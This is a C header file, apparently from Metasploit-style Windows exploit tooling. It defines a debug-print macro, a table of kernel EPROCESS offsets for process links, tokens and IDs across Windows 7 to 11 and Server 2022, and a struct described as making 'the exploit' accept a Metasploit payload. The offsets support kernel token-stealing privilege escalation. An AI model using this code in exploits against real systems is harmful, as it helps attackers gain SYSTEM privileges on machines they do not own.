Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
#pragma once
2

3
#include <stdlib.h>
4
#include <stdio.h>
5
#include <string.h>
6
#include <windows.h>
7

8
#ifdef DEBUGTRACE
9
#define dprintf(...) real_dprintf(__VA_ARGS__)
10
#else
11
#define dprintf(...) do{}while(0);
12
#endif
13

14
/*!
15
 * @brief Output a debug string to the debug console.
16
 * @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
17
 *          using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
18
 */
19
static _inline void real_dprintf(char* format, ...)
20
{
21
	va_list args;
22
	char buffer[1024];
23
	size_t len;
24
	_snprintf_s(buffer, sizeof(buffer), sizeof(buffer) - 1, "[%04x] ", GetCurrentThreadId());
25
	len = strlen(buffer);
26
	va_start(args, format);
27
	vsnprintf_s(buffer + len, sizeof(buffer) - len, sizeof(buffer) - len - 3, format, args);
28
	strcat_s(buffer, sizeof(buffer), "\r\n");
29
	OutputDebugStringA(buffer);
30
	va_end(args);
31
}
32

33
typedef struct _EPROCESS_OFFSETS {
34
	WORD ActiveProcessLinks;
35
	WORD Token;
36
	WORD UniqueProcessId;
37
} EPROCESS_OFFSETS;
38
typedef EPROCESS_OFFSETS* PEPROCESS_OFFSETS;
39

40
#ifdef _WIN64
41
/* Windows 7 SP0 (6.1.7600) - https://www.vergiliusproject.com/kernels/x64/Windows%207%20%7C%202008R2/RTM/_EPROCESS */
42
const static EPROCESS_OFFSETS EprocessOffsetsWin7Sp0 = { 0x188, 0x208, 0x180 };
43
/* Windows 7 SP1 (6.1.7601) - https://www.vergiliusproject.com/kernels/x64/Windows%207%20%7C%202008R2/SP1/_EPROCESS */
44
const static EPROCESS_OFFSETS EprocessOffsetsWin7Sp1 = { 0x188, 0x208, 0x180 };
45
/* Windows 8.1 (6.3.9600) - https://www.vergiliusproject.com/kernels/x64/Windows%208.1%20%7C%202012R2/Update%201/_EPROCESS */
46
const static EPROCESS_OFFSETS EprocessOffsetsWin8p1 = { 0x2e8, 0x348, 0x2e0 };
47
/* Windows 10 v1607 (10.0.14393) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1607%20Redstone%201%20(Anniversary%20Update)/_EPROCESS */
48
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1607 = { 0x2f0, 0x358, 0x2e8 };
49
/* Windows 10 v1703 (10.0.15063) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1703%20Redstone%202%20(Creators%20Update)/_EPROCESS */
50
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1703 = { 0x2e8, 0x358, 0x2e0 };
51
/* Windows 10 v1709 (10.0.16299) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1709%20Redstone%203%20(Fall%20Creators%20Update)/_EPROCESS */
52
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1709 = { 0x2e8, 0x358, 0x2e0 };
53
/* Windows 10 v1803 (10.0.17134) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1803%20Redstone%204%20(Spring%20Creators%20Update)/_EPROCESS */
54
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1803 = { 0x2e8, 0x358, 0x2e0 };
55
/* Windows 10 v1809 (10.0.17763) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1809%20Redstone%205%20(October%20Update)/_EPROCESS */
56
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1809 = { 0x2e8, 0x358, 0x2e0 };
57
/* Windows 10 v1903 (10.0.18362) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1903%2019H1%20(May%202019%20Update)/_EPROCESS */
58
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1903 = { 0x2f0, 0x360, 0x2e8 };
59
/* Windows 10 v1909 (10.0.18362) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_EPROCESS */
60
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1909 = { 0x2f0, 0x360, 0x2e8 };
61
/* Windows 10 v2004 / 20H1 (10.0.19041) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2004%2020H1%20(May%202020%20Update)/_EPROCESS */
62
const static EPROCESS_OFFSETS EprocessOffsetsWin10v2004 = { 0x448, 0x4b8, 0x440 };
63
#define EprocessOffsetsWin10v20H1 EprocessOffsetsWin10v2004
64
/* Windows 10 v2009 / 20H2 (10.0.19042) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2009%2020H2%20(October%202020%20Update)/_EPROCESS */
65
const static EPROCESS_OFFSETS EprocessOffsetsWin10v2009 = { 0x448, 0x4b8, 0x440 };
66
#define EprocessOffsetsWin10v20H2 EprocessOffsetsWin10v2009
67
/* Windows 10 v21H1 (10.0.19043) */
68
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H1 = { 0x448, 0x4b8, 0x440 };
69
/* Windows 10 v21H2 (10.0.19044) */
70
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H2 = { 0x448, 0x4b8, 0x440 };
71
/* Windows 10 v21H2 (10.0.19045) */
72
const static EPROCESS_OFFSETS EprocessOffsetsWin10v22H2 = { 0x448, 0x4b8, 0x440 };
73
/* Windows 11 v21H2 (10.0.22000) - https://www.vergiliusproject.com/kernels/x64/Windows%2011/21H2%20(RTM)/_EPROCESS */
74
const static EPROCESS_OFFSETS EprocessOffsetsWin11v21H2 = { 0x448, 0x4b8, 0x440 };
75
/* Windows 2022 (10.0.20348) */
76
const static EPROCESS_OFFSETS EprocessOffsetsWinServer2022 = { 0x448, 0x4b8, 0x440 };
77

78
#endif
79

80
/*
81
 * This struct makes the exploit compatible with a Metasploit payload of an arbitrary as constructed using something like:
82
 *
83
 * encoded_payload = payload.encoded
84
 * [encoded_payload.length].pack('I<') + encoded_payload
85
 */
86
typedef struct _MSF_PAYLOAD {
87
	DWORD  dwSize;
88
	CHAR  cPayloadData[];
89
} MSF_PAYLOAD;
90
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
91

92